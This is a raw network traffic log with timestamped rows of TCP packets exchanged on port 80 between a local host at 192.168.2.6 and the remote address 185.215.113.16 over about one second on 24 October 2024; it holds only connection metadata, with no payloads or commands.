Oct 24, 2024 09:08:10.699500084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.699547052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.699595928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.699693918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.699748993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.699749947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.699785948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.699800014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.699826956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.739006042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.739104033 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.739146948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.739200115 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.739200115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.739238977 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.739253044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.739276886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.739284039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.739326000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.816129923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.816184998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.816224098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.816298962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.816430092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.816466093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.816482067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.816503048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.816540003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.816569090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.816649914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.816776991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.816826105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.816900969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.816943884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.817023993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.817060947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.817080975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.817116022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.817126036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.817157984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.856880903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.856933117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.856969118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.856990099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.856996059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.857036114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.857040882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.857072115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.857083082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.857115030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.857126951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.857146025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.857163906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.857187986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.933641911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.933712959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.933751106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.933754921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.933783054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.933787107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.933803082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.933829069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.933830976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.933861971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.933871984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.933897972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.933907986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.933938980 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.934041023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.934093952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.934123039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.934158087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.934174061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.934195995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.934200048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.934232950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.934237003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.934277058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.973798037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.973850965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.973891020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.973910093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.973936081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.022140026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.022193909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.022202015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.022237062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.022243977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.022300005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.051157951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051227093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.051405907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051440001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051460028 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.051470041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.051476002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051513910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051517963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.051556110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.051563025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051579952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051626921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.051739931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051786900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.051790953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051839113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051848888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.051876068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051881075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.051914930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.051918983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.051956892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.091196060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.091262102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.091367006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.091408014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.091420889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.091447115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.091453075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.091491938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.139437914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.139517069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.139544964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.139563084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.139631033 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.168521881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.168556929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.168610096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.168632984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.168648958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.168668985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.168683052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.168705940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.168714046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.168750048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.169018984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.169054031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.169068098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.169090033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.169097900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.169135094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.169301987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.169356108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.169378996 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.169414043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.169425011 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.169455051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.208483934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.208523035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.208553076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.208558083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.208574057 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.208600998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.208615065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.208661079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.208710909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.208745956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.208758116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.208795071 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.256607056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.256669044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.256700039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.256710052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.256727934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.256748915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.290024042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.290070057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.290086985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.290132046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.290167093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.290167093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.290184975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.290210009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.290237904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.291574955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.291604042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.291620016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.291627884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.291641951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.291641951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.291661978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.291662931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.291687965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.291742086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.327702045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.327738047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.327774048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.327807903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.327809095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.327847958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.327848911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.327898026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.327898026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.374666929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.374694109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.374711990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.374738932 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.374778986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.374778986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.403393984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.403443098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.403470039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.403482914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.403512001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.403525114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.403531075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.403563976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.403573036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.403604031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.403614998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.403650999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.403831005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.403878927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.403888941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.403940916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.403953075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.403990984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.404014111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.404026985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.404479027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.404527903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.404536009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.404588938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.444211006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.444233894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.444252014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.444268942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.444287062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.444302082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.444302082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.444345951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.491432905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.491498947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.491535902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.491565943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.491566896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.491619110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.520517111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.520555973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.520591974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.520593882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.520636082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.520636082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.520745993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.520788908 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.520795107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.520802975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.520836115 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.521111012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.521168947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.521198988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.521236897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.521260977 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.521271944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.521284103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.521357059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.521375895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.521981955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.522038937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.522236109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.522284031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.560611010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.560691118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.560770035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.560801983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.560820103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.560837984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.560846090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.560874939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.560884953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.560921907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.608884096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.608942986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.608959913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.608974934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.608993053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.609015942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.609029055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.609064102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.609081984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.609100103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.609105110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.609144926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.638017893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.638073921 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.638079882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.638118029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.638128042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.638173103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.638180017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.638216019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.638227940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.638259888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.638410091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.638451099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.638485909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.638576984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.638603926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.638910055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.638943911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.638956070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.638978958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.638982058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.639024019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.678196907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.678251982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.678256989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.678288937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.678292990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.678323030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.678348064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.678359985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.678376913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.678400993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.726380110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.726418018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.726453066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.726479053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.726489067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.726541042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.726541042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.726541042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.755748034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.755800962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.755824089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.755837917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.755851030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.755883932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.755901098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.755923033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.755938053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.755986929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.756098986 CEST	80	49997	185.215.113.16	192.168.2.6
